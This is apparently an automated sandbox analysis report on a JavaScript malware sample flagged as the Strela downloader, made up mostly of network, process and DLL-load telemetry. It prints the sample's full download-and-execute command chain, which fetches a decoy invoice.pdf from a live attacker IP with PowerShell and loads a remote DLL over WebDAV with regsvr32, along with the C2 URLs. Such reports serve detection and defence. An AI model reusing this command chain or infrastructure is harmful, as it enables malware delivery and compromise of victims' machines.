HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2041036314.00000213ADB78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2133862733.00000268774BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133746662.0000026877488000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2132435744.00000268774DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2132684275.00000268774BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133862733.00000268774BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/llZ
Source: net.exe, 00000007.00000002.2133746662.0000026877488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000003.2132684275.00000268774BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133862733.00000268774BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pl
Source: svchost.exe, 00000009.00000002.3332953894.000001956CC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2137159571.000001956CA10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 929826576149214658.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ublmucri.oev.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,14477637777086308567,2676894783168855443,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,14477637777086308567,2676894783168855443,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
